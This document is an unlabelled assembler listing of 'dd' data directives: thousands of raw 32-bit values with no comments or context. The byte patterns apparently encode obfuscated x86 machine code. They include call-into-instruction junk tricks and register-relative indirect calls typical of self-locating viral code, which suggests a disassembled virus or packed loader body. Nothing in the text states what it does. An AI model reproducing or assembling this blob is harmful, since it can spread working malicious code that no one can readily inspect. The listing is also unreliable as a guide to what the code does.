		dd 7D13B01h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	14C35141h, 62340C6Eh, 0DE968h, 0BC770000h, 2BF56DEBh
		dd 439CA329h, 0FFEDAF7Ch, 0D28166D0h, 8589F98Ch, 7D1141Dh
		dd 0AE8h, 0FA74300h, 0C85916Dh,	8AFE7F95h, 85C65AEAh, 7D131B5h
		dd 50006A43h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 6D142ACAh, 0E95ABC38h, 11h, 8E7FE56Fh, 797AA610h
		dd 4F3622D3h, 0F4747D1Ah, 2868F97Ch, 6ABC9070h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 10BFC356h, 85192A01h, 0D1BF0FC4h, 68B0Fh, 0BD890000h
		dd 7D120E1h, 1CC9B5FFh,	953107D1h, 7D13229h, 3B01858Dh
		dd 958B07D1h, 7D113A5h,	89F9D0FFh, 0D133C195h, 79858907h
		dd 6607D117h, 85C6D08Bh, 7D131B5h, 0B70F604Ch, 816661C8h
		dd 68ED5FE9h, 0D9DA1CE9h, 68A0Fh, 8D890000h, 7D12705h
		dd 1CC9B5FFh, 858D07D1h, 7D13B01h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0A9C35141h,	0D30AEFD4h, 7DCA8145h
		dd 0FF4E172Fh, 55006AD0h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 0C9A2AF6Bh, 89D1A6C9h
		dd 0D132AD85h, 15BD3307h, 0C607D125h, 0D131B585h, 23604607h
		dd 0D13159B5h, 12E807h,	750B0000h, 821620A8h, 0E7011776h
		dd 522FF2F2h, 85E87888h, 1468615Fh, 89BADE06h, 0D11A199Dh
		dd 0C9B5FF07h, 6A07D11Ch, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 2826C351h, 0AE869h
		dd 0C4B40000h, 0A51B3C2h, 5D898605h, 2B6D8D29h,	8D5F07D1h
		dd 0D13B0185h, 0BE907h,	32CB0000h, 920A198h, 461CB915h
		dd 0E9D0FFEBh, 0Bh, 2E32B993h, 5E85FB8Ah, 89830589h, 0D11EC185h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 9C89337h, 0D117ED8Dh, 0CDF58007h, 1A759589h
		dd 85C607D1h, 7D131B5h,	4D958B47h, 2307D128h, 0D11ADD95h
		dd 0B5E26807h, 0B5FF8A0Fh, 7D11CC9h, 31E59D89h,	858D07D1h
		dd 7D13B01h, 0E180D0FFh, 58589B2h, 0F07D110h, 28Fh, 0C6F88B00h
		dd 0D131B585h, 6A4707h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 683008C3h, 83D0B5F3h, 8AC78166h
		dd 0C9B5FF05h, 6A07D11Ch, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0FB4C351h, 0B70FFEBFh
		dd 28D781FBh, 8D22C336h, 0D13B0185h, 52006A07h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0B18E8E55h
		dd 11E92874h, 0E5000000h, 2EDC874Eh, 0E8BC068Ch, 0EB093ED9h
		dd 75EAA7F8h, 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 9F2B33C3h, 0C394DE38h, 27FDBD8Bh
		dd 8D8B07D1h, 7D12C79h,	33BD8589h, 6A07D1h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 9E4B69C3h
		dd 6A9FCDAEh, 66D8158Eh, 85C6D68Bh, 7D131B5h, 0E1816677h
		dd 0A3680374h, 1F397A8h, 0D11B4DB5h, 0F9B5FF07h, 8907D130h
		dd 0D10C4595h, 7D958B07h, 8D07D119h, 0D13B0185h, 880F6007h
		dd 6, 20EDB531h, 816607D1h, 618ECADAh, 0ADF28166h, 0FD0FFCAh
		dd 285h, 89FA8B00h, 0D100B585h,	85C6F507h, 7D131B5h, 59BD8B47h
		dd 6807D100h, 8728FAF6h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 77C35242h, 0C0167EB4h, 0DE9C5F2h, 18000000h
		dd 0E42FF445h, 57863B23h, 6C5F6EB9h, 1CC9B5FFh,	665307D1h
		dd 94F3C781h, 1858D5Fh,	6A07D13Bh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 7CD7C357h
		dd 958B2863h, 7D11C29h,	8529D0FFh, 7D121ADh, 30BD8589h
		dd 0BD0307D1h, 7D11AFDh, 31B585C6h, 0F4307D1h, 0C87h, 7E900h
		dd 8B510000h, 0BC39A48Eh, 6EFC6845h, 0BD03BC8Eh, 7D11F49h
		dd 1CC9B5FFh, 0DBBA07D1h, 8D34B541h, 0D13B0185h, 0FD0FF07h
		dd 8589F8BFh, 7D11A79h,	85C6C88Bh, 7D131B5h, 0F9BD8945h
		dd 6807D128h, 8E726969h, 8E5BD89h, 0B5FF07D1h, 7D11CC9h
		dd 2DC5958Bh, 0D18007D1h, 1858DB3h, 8907D13Bh, 0D130519Dh
		dd 0F5D0FF07h, 30918589h, 85C607D1h, 7D131B5h, 0EFB96644h
		dd 0EC6468EEh, 0DE80B8F2h, 0C9B5FFEDh, 8007D11Ch, 858DFBE1h
		dd 7D13B01h, 8A9958Bh, 0D0FF07D1h, 18F18D33h, 858907D1h
		dd 7D1248Dh, 0B70FD68Bh, 0B585C6F9h, 4307D131h,	3C1BD29h
		dd 0A76807D1h, 6AC0764Ah, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 430DC352h, 0F816DFFh
		dd 683h, 0C9B53100h, 0FF07D122h, 0D11CC9B5h, 8DD08B07h
		dd 0D13B0185h, 0FFBF0F07h, 9533D0FFh, 7D12765h,	27098589h
		dd 0FDBF07D1h, 801A4D83h, 0D42EE4BDh, 840F0007h, 0E2h
		dd 19F9BD03h, 858D07D1h, 7D42EC6h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 4FC35343h, 30BA2B4Ah, 5010F4B6h
		dd 1FB58D8Bh, 0BF0F07D1h, 60016ACEh, 8B66F98Bh,	8D8B61DFh
		dd 7D11499h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 29954EC3h, 6A1949E5h, 8B606000h
		dd 0D12D7585h, 58D3107h, 6107D122h, 0FF61FB8Bh,	0D1177995h
		dd 49958907h, 8907D120h, 0D11EDD85h, 0FBB70F07h, 9589FF6Ah
		dd 7D119CDh, 1EDDB5FFh,	8A0F07D1h, 6, 2C819503h, 95FF07D1h
		dd 7D1141Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	0BC35747h, 6346E4A4h, 0E53D147Ah, 5E9h,	0CE4D0E00h
		dd 0C08B830Eh, 0B18D8951h, 5A07D119h, 3405BD83h, 750007D1h
		dd 49BD8309h, 7D128h, 53501974h, 0D1B8C08Bh, 89000007h
		dd 0D113D585h, 0B09D8D07h, 0FF07D3E1h, 83585BD3h, 0D12849BDh
		dd 17740007h, 0D1B85350h, 89000007h, 0D113D585h, 9F9D8D07h
		dd 0FF07D3DEh, 8B585BD3h, 0D113B58Dh, 9D896007h, 7D10ECDh
		dd 0EBE78166h, 0C08B61AAh, 0FE8h, 0C6359000h, 0BE92941h
		dd 0C1661E31h, 0C091AE9Ah, 0FD1BD8Bh, 665F07D1h, 0C6FAB6BAh
		dd 0D131B585h, 95014707h, 7D10FB9h, 0C8F7C168h,	0BD896093h
		dd 7D11F29h, 61F08B66h,	1D419589h, 0B5FF07D1h, 7D11CC9h
		dd 6519D09h, 858D07D1h,	7D13B01h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h
		dd 7CC35343h, 8B60C35Ah, 0D12A7D9Dh, 0AE807h, 62D0000h
		dd 0BC65D5B3h, 6564A3F1h, 13D19D8Bh, 615807D1h,	958BD0FFh
		dd 7D11065h, 0C2816650h, 858D2881h, 7D43307h, 0F34FC281h
		dd 0C74683h, 94h, 2025BD8Bh, 0E95807D1h, 0Dh, 577C0B8Eh
		dd 0EDFAADDFh, 9D4BC67Fh, 0CCBF6627h, 7B58DB2h,	8B07D433h
		dd 8E956D3h, 0B1000000h, 78FDAC27h, 0FF565687h,	57006AD0h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0B347965h, 0D1308195h, 6880F07h, 81000000h, 5B9AACEAh
		dd 7858D11h, 6A07D433h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 7E8CC352h, 13C697BEh
		dd 8307C51Bh, 0F060478h, 3085h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 79B958DBh
		dd 9B85C750h, 107D433h,	8B000000h, 0D10EF18Dh, 0D1BD8307h
		dd 7D125h, 98850Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 150424h, 56460000h, 292D26C3h, 0D12EF185h
		dd 9BBD8307h, 7D433h, 68850Fh, 7E90000h, 13000000h, 0BC7679B7h
		dd 0BD832C78h, 7D122B9h, 4F840F00h, 60000000h, 0E9FBBF0Fh
		dd 10h,	0AFD4E958h, 0FD9B8DB5h,	9CA592DDh, 2349CFBDh, 0D585C761h
		dd 7D133h, 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 33C0C353h, 860F0E99h, 6, 181958Bh
		dd 8C6607D1h, 75B589DBh, 0F607D114h, 840F04C3h,	54Eh, 15E1BD8Bh
		dd 0C7F507D1h, 0D1171585h, 7, 0C9958900h, 0BF07D124h, 60203E2Ch
		dd 2EF1BD80h, 0F0007D4h, 385h, 0FEB70F00h, 31B585C6h, 6A4707D1h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 3A7DC352h, 3D205517h, 5B866899h, 8D29E3E4h
		dd 7D10C65h, 1CC9B5FFh,	7DBA07D1h, 8D041645h, 0D13B0185h
		dd 0FFF9B207h, 7E9D0h, 0FF040000h, 57DF4164h, 1046848h
		dd 0B70F0000h, 999D8DD0h, 6607D102h, 0B60DF281h, 0FFF58A53h
		dd 81F181D0h, 951053Ah,	0D12CE19Dh, 99858D07h, 0F507D102h
		dd 85B96650h, 0A3858D2Ah, 6A07D42Eh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 0BCD1C350h
		dd 6DF99D3Dh, 0AE4DB966h, 50CEBF0Fh, 2321BD29h,	858D07D1h
		dd 7D42576h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	4BC35343h, 1BE75084h, 0DD9523B9h, 0F07D133h, 68Ch
		dd 0CD958B00h, 5007D10Eh, 11E8h, 9E048300h, 0AE9DD091h
		dd 89F9F152h, 0FAA4E1Eh, 8B6661B6h, 95FF59F9h, 7D100B5h
		dd 2FA98D8Bh, 0C48307D1h, 78B9660Ch, 68006AC7h,	80h, 6A036Ah
		dd 68006Ah, 8D800000h, 0D4257685h, 95FF5007h, 7D11A79h
		dd 2E868589h, 85C607D4h, 7D131B5h, 5E876847h, 0B5FFC7B1h
		dd 7D11CC9h, 3B01858Dh,	0D0FF07D1h, 0B5FF006Ah,	7D42E86h
		dd 958BD0FFh, 7D11365h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 4EC35141h, 958B087Ch,	7D103A5h, 37D03Dh
		dd 7B830F00h, 0E8000000h, 6, 86BB725h, 950BF648h, 7D1058Dh
		dd 86B5FF5Ah, 6A07D42Eh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 258BC352h, 29735949h
		dd 0D1212585h, 995FF07h, 6A07D127h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 3A9C353h
		dd 8DDC7CE2h, 33C0625Ch, 0D118CD95h, 108E907h, 81560000h
		dd 0C4D205E1h, 0B5FF5919h, 7D42E86h, 0ADB589h, 958B07D1h
		dd 7D1001Dh, 270995FFh,	5E807D1h, 47000000h, 0DE8730A9h
		dd 896059F5h, 0D115E1B5h, 0C98D8907h, 6107D130h, 6E9006Ah
		dd 0D8000000h, 37EC486Eh, 89006ADBh, 0D121759Dh, 958B6007h
		dd 7D1324Dh, 2831B589h,	6A6107D1h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 9C2574ECh
		dd 2A51BD29h, 5E807D1h,	2F000000h, 60179FB0h, 59CEBF0Fh
		dd 8529006Ah, 7D126BDh,	0BF0F006Ah, 89006AC8h, 0D11C258Dh
		dd 8A858D07h, 5007D42Eh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Bh, 0F0C35040h, 0B7C8D6B0h, 0E87D3814h, 11h
		dd 14D11384h, 0B5E88862h, 2BD531D0h, 0A49A1749h, 0D1B70F15h
		dd 0B1D5BF59h, 95FF4E41h, 7D11A79h, 13718589h, 0F88307D1h
		dd 18850FFFh, 0F000001h, 858DF9B7h, 7D3E956h, 0F98B6657h
		dd 0FABF0F5Ah, 6AD0FFh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 0F954CEC3h, 8C0F006Ah, 6, 150DBD31h
		dd 816607D1h, 6A29B4DAh, 0BC5DB900h, 6A222Dh, 0C75BD8Bh
		dd 6A07D1h, 0F006AFCh, 6AD2BFh,	281D8D8Bh, 8B6007D1h, 0D12E9195h
		dd 399D8907h, 6107D12Eh, 2E8A858Dh, 0BA6607D4h,	6A5014D0h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 0D858C352h, 7995FFBFh, 8307D11Ah,	850FFFF8h
		dd 6Fh,	10E9h, 4F908400h, 7265EB54h, 0BFC079C9h, 0F82FD828h
		dd 92B58D1Bh, 6607D428h, 8D02AABAh, 0D3D40F85h,	99858907h
		dd 0FF07D118h, 57006AD0h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 7BA58BA6h, 8E9h, 336C8E00h
		dd 21E24685h, 89006A38h, 0D130D19Dh, 0F6B96607h, 9195FF51h
		dd 6607D130h, 89D39AB9h, 0D42E8685h, 68B0F07h, 89000000h
		dd 0D1196585h, 0E9B96607h, 0E9006A5Ah, 11h, 0F82A467Dh
		dd 2B4E014Ch, 69E27EE8h, 0EC1CFFACh, 0D1BD8B0Bh, 8D07D101h
		dd 0D42E7E85h, 52006A07h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 4865194Ah, 0B09A8B2Dh
		dd 0C1807350h, 0E78153FBh, 5AD89389h, 9589505Fh, 7D101D1h
		dd 958B046Ah, 7D10C75h,	915858Dh, 8B6607D1h, 6A50D3h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 1FFA87C3h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 67E24C3h, 64E3224Eh, 0BA667EA5h
		dd 6A65EFh, 6AF88B66h, 99BD8B01h, 0FF07D11Fh, 0D42E86B5h
		dd 0F1858907h, 0FF07D118h, 0D1248D95h, 87B96607h, 1D04E92Ch
		dd 0C08B0000h, 9E9h, 0A9DDAA00h, 6DB9A40Eh, 0BD835A8Bh
		dd 7D13405h, 83097500h,	0D12849BDh, 19740007h, 0C08B5350h
		dd 7D2B8h, 0D5858900h, 8D07D113h, 0D3E1B09Dh, 5BD3FF07h
		dd 49BD8358h, 7D128h, 53501774h, 7D2B8h, 0D5858900h, 8D07D113h
		dd 0D3DE9F9Dh, 5BD3FF07h, 0A4F78158h, 897B6BDEh, 0D121658Dh
		dd 6AC08B07h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 0D741C353h, 1585C798h,	107D117h
		dd 0B9000000h, 25706732h, 11059D89h, 0B86807D1h, 0FFCEE4E7h
		dd 0D12D09B5h, 1858D07h, 0FF07D13Bh, 0C58589D0h, 8D07D103h
		dd 0D430E285h, 858D5007h, 7D4339Fh, 16850h, 95FF8000h
		dd 7D103C5h, 0A75C00Bh,	187985C7h, 107D1h, 0D4680000h
		dd 0FFC005DBh, 0D12D09B5h, 1858D07h, 0FF07D13Bh
		dd 698589D0h, 8D07D134h, 0D4232F85h, 0B5FF5007h, 7D11CC9h
		dd 100595FFh, 0C00B07D1h, 0D88B0B74h, 32E2858Dh, 0FF5007D4h
		dd 0E2858DD3h, 6607D432h, 75093883h, 1185C70Ah,	107D11Eh
		dd 0FF000000h, 0D130BD95h, 0FF2507h, 0F8830000h, 0C70A7305h
		dd 0D10EED85h, 107h, 0ED958B00h, 0E907D12Dh, 8,	9DEC2EFCh
		dd 0E97F3612h, 2EF1BD80h, 0F0007D4h, 2384h, 0D7816600h
		dd 0BD832FD3h, 7D4339Bh, 1C840F00h, 0E8000000h,	5, 24A622E3h
		dd 599589E6h, 5907D11Dh, 1B75E9h, 419D8900h, 8307D11Dh
		dd 0D11E11BDh, 850F0007h, 0EAh,	1C399589h, 858D07D1h, 7D42EBBh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 2C35242h
		dd 2850Fh, 6DB60000h, 1955B509h, 0E85007D1h, 10h, 66B13023h
		dd 812ECB22h, 0A08E4FEAh, 0F00D8BCEh, 109A9ABFh, 16A597Fh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 14C35141h
		dd 0A82F884Fh, 6AEB7Ah,	2BFB8B66h, 0D11BA5BDh, 9006A07h
		dd 0D126B5B5h, 7995FF07h, 8B07D117h, 0D1314595h, 0E5858907h
		dd 8007D42Eh, 0FF6A92F1h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0FFC35040h, 7C0D5F15h, 9D958B71h, 8B07D11Eh
		dd 0D1335995h, 0E5B5FF07h, 0F907D42Eh, 141D95FFh, 0BE907D1h
		dd 38000000h, 96026C4Fh, 0B625F682h, 858D697Fh,	7D422F6h
		dd 2A91BD8Bh, 95007D1h,	0D1141985h, 0AD95FF07h,	0E807D132h
		dd 5, 0BFCC8477h, 895FF944h, 0D4238085h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 0DF815A75h, 4411E9D4h, 8DD18B66h, 0D4230385h, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 1E65FF0Bh, 0F459D09h, 8B6607D1h, 0E7BF66CBh,	890F5045h
		dd 6, 765BD89h,	0B5FF07D1h, 7D42380h, 38CF8160h, 3107C62Eh
		dd 0D11691BDh, 85896107h, 7D11C69h, 100595FFh, 830F07D1h
		dd 5, 516EB1B9h, 0D1858906h, 0E807D100h, 13h, 13D4BD8Bh
		dd 3DEA7F21h, 29E8ECEBh, 84A7B252h, 0F5CB1E7Ch,	71858D59h
		dd 307D423h, 0D100ADBDh, 0B9665007h, 0B5FFB6C9h, 7D42380h
		dd 0FCF8B66h, 582h, 0E7816600h,	95FFDF6Ah, 7D11005h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 7BC35040h, 4888C2C3h
		dd 0BD89FD76h, 7D12DA9h, 0BE9h,	5701E700h, 95557A8Ah, 0DB09CE8Eh
		dd 0C59B531h, 858907D1h, 7D42394h, 50858DF5h, 0B607D423h
		dd 29958B87h, 5007D102h, 11E9h,	0D1FF5700h, 36E594E8h
		dd 0BE99C3E8h, 0E0C22B18h, 0B5FF9EDAh, 7D42380h, 100595FFh
		dd 958907D1h, 7D1160Dh,	238C8589h, 6A07D4h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 4AA276C3h
		dd 0EFB22AA0h, 60D51D58h, 2F11BD2Bh, 0CB8B07D1h, 43858D61h
		dd 5307D423h, 13E9h, 0AF580100h, 0C28FDF29h, 281C1BDCh
		dd 830D440Fh, 0CECF0C57h, 8D295059h, 7D12E99h, 2380B5FFh
		dd 0EE807D4h, 55000000h, 0A4EC67A2h, 0DD9D39F7h, 0C50400F2h
		dd 99B589EAh, 5907D100h, 100595FFh, 6A07D1h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8589A9C3h
		dd 7D42390h, 0C0F58050h, 8DD78B5Ah, 0D4235E85h,	68D0F07h
		dd 1000000h, 0D11C59BDh, 38B25007h, 2380B5FFh, 6A07D4h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0A82AD6C3h, 8D8B9EEFh, 7D128F9h, 3E59589h, 95FF07D1h
		dd 7D11005h, 89F9BF0Fh,	0D11BF585h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 4781D567h
		dd 7BBBE7B0h, 9E9BFC6h,	8E000000h, 0C95716BFh, 315E7D54h
		dd 25A5BD8Bh, 858D07D1h, 7D42312h, 250D8D8Bh, 606007D1h
		dd 26C5B58Bh, 0F96107D1h, 0D38B5061h, 2380B5FFh, 6A07D4h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 637F70C3h, 100595FFh, 0AE907D1h, 32000000h, 4BFA1BD2h
		dd 9AFB91h, 8485891Ch, 8A07D423h, 21858DD0h, 6007D423h
		dd 1F859589h, 0B70F07D1h, 665061D9h, 6CD5CA81h,	2380B5FFh
		dd 0B76007D4h, 0D88B666Ch, 595FF61h, 107D110h, 0D122D99Dh
		dd 88858907h, 2907D423h, 0D1182D9Dh, 1046807h, 8D890000h
		dd 7D1057Dh, 2418858Dh,	6A07D4h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 8A5242C3h, 6A50D0h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 840F2FC3h, 6, 1705958Bh, 12E907D1h, 37000000h, 68908792h
		dd 913AFF9Ah, 0A637D134h, 866181E7h, 1C858DADh,	6007D425h
		dd 2CF5B58Bh, 8B6607D1h, 0E85061DFh, 10h, 0EF89B81Eh, 0C29228A9h
		dd 85EC3681h, 198A1479h, 1AC18D89h, 0FF5A07D1h,	0D133BD95h
		dd 13E807h, 43220000h, 0F4A722AAh, 0CCD418C1h, 0C04852EFh
		dd 0E70F41B4h, 0BE960h,	9500000h, 0EF4D69E5h, 0E1B0716Dh
		dd 890F5931h, 0Ch, 68B0Fh, 958B0000h, 7D10F71h,	850FC085h
		dd 28h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah
		dd 2EC35040h, 6499B9B8h, 0BD8BDE2Bh, 7D1211Dh, 2EF1BD80h
		dd 0F0007D4h, 0F85h, 71B58900h,	0E907D100h, 15FEh, 27FDBF66h
		dd 1E11BD83h, 0F0007D1h, 1C85h,	0F8E78100h, 837AAE14h
		dd 0D4339BBDh, 840F0007h, 42h, 195D9529h, 0CD8007D1h, 0B5858DA6h
		dd 8907D423h, 0D12C41BDh, 15C0E907h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0EF295FC3h
		dd 0F99E5CC9h, 0FE9A8h,	858D0000h, 7D423A0h, 6DD9531h
		dd 8B6607D1h, 6A50FBh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0BE553DC3h, 89F8B13Ch, 0D101A59Dh
		dd 18858D07h, 8B07D424h, 0D11CDD95h, 9D295007h,	7D132B1h
		dd 0B364C2BFh, 11BD8365h, 7D11Eh, 21840Fh, 0CB8B0000h
		dd 29999509h, 858D07D1h, 7D4253Eh, 0CD7959BFh, 15E938h
		dd 0B0600000h, 0E08166CDh, 8D612D1Fh, 0D4252785h, 7DBD0307h
		dd 5007D10Ch, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Dh,	1EC35646h, 55F17664h, 12AB425Ah, 8D3DB2A4h, 0D4257685h
		dd 0DE807h, 0B6870000h,	0E073CAE9h, 0B557A2A5h,	66B031C5h
		dd 5059CA8Bh, 1B618D8Bh, 95FF07D1h, 7D100B5h, 1F498D8Bh
		dd 0C48307D1h, 9C08B10h, 0D12BC59Dh, 5BD8307h, 7D134h
		dd 0BD830975h, 7D12849h, 50197400h, 0B8C08B53h,	7D3h, 13D58589h
		dd 9D8D07D1h, 7D3E1B0h,	585BD3FFh, 2849BD83h, 740007D1h
		dd 0B8535017h, 7D3h, 13D58589h,	9D8D07D1h, 7D3DE9Fh, 585BD3FFh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 52C35747h
		dd 8BF88B66h, 5958BC0h,	8107D125h, 0D423A0BDh, 65726F07h
		dd 0BD840F61h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h
		dd 42000000h, 5D9FC352h, 154AB9BBh, 314668FCh, 0D11D2DBDh
		dd 0DE907h, 0CB930000h,	0C5A2D3F9h, 5B07F1F8h, 8D91A466h
		dd 0D4241885h, 858D5007h, 7D42555h, 76858D50h, 5007D425h
		dd 0B595FFh, 0C48307D1h, 0B585C60Ch, 4407D131h,	0A3184F68h
		dd 0C9B5FF96h, 8D07D11Ch, 0D13B0185h, 8BD0FF07h, 76858DD8h
		dd 5007D425h, 858DD3FFh, 7D423A0h, 18858D50h, 5007D424h
		dd 1E11BD83h, 740007D1h, 3E858D08h, 0EB07D425h,	27858D06h
		dd 5007D425h, 2576858Dh, 0FF5007D4h, 0D100B595h, 10C48307h
		dd 9D89D68Bh, 7D101FDh,	30BD95FFh, 0BF0F07D1h, 0FF25D0h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 0CABF92C3h, 0ADB25049h, 89D6CDEFh, 0D12B598Dh
		dd 6830F07h, 23000000h,	0D1000595h, 5F88307h, 31830Fh
		dd 0D08A0000h, 0EED85C7h, 107D1h, 0B5310000h, 7D13165h
		dd 9E9h, 21C27200h, 0E04E3418h,	858D4CB6h, 7D423D4h, 10C9958Bh
		dd 6EE907D1h, 83000000h, 0D11E11BDh, 840F0007h,	1Ah, 8DFFBF0Fh
		dd 0D423FF85h, 0FD9D0907h, 0E907D116h, 4Dh, 8ADBD2Bh, 858D07D1h
		dd 7D423E1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	6AC35040h, 93D43DBDh, 0B70F9177h, 10E9h, 0B857CF00h
		dd 7F480798h, 1451B5CBh, 2183D7E2h, 9D89504Fh, 7D12D5Dh
		dd 1485895Fh, 8B07D424h, 0D12C1DBDh, 11BD8307h,	7D11Eh
		dd 43850Fh, 9D090000h, 7D108DDh, 339BBD83h, 0F0007D4h
		dd 6884h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 93273E4Fh, 8BC024B8h, 0D132858Dh
		dd 0BD8B5107h, 7D13215h, 1220E959h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 7CD448C3h
		dd 8E9384Eh, 0AD000000h, 0D7D57516h, 0B5E00CCh,	0D12199BDh
		dd 570E907h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0BE98EC3h, 0D6000000h, 8DC10376h
		dd 0C20AFC6Fh, 0C08B29C9h, 1B860Fh, 0FE80000h, 0F0000000h
		dd 8481C01Bh, 0CB17F026h, 75ADB00Dh, 0BD897A9Ah, 7D1298Dh
		dd 5BD8359h, 7D134h, 0BD830975h, 7D12849h, 50197400h, 0B8C08B53h
		dd 7D4h, 13D58589h, 9D8D07D1h, 7D3E1B0h, 585BD3FFh, 2849BD83h
		dd 740007D1h, 0B8535017h, 7D4h,	13D58589h, 9D8D07D1h, 7D3DE9Fh
		dd 585BD3FFh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 16h,	0EDC35141h, 0CA814707h,	32B7EDFh, 8BFA8B66h, 880FC0h
		dd 68000000h, 0F003Fh, 10E956h,	74120000h, 6F84B8F3h, 0CC5B254Dh
		dd 0B2641AC4h, 6A5F1659h, 39BD2900h, 6A07D10Fh,	50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 7680CB6Ch, 8914EB85h, 0D106BD85h, 0E1950907h, 0FF07D11Fh
		dd 0D100D195h, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 4891666Eh, 218529D9h
		dd 5107D10Ch, 2179B589h, 855F07D1h, 31850FC0h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 7F29C356h, 0FD3C2A22h, 659B5548h,	68C0Fh
		dd 0BD8B0000h, 7D12039h, 23988589h, 0BF0F07D4h,	0E9006AD2h
		dd 0Ch,	0B01FCAEDh, 7B4E51AFh, 45CEF2EBh, 6840Fh, 9D890000h
		dd 7D113A9h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 0BD8BE5C3h, 7D13275h, 0FA8B006Ah
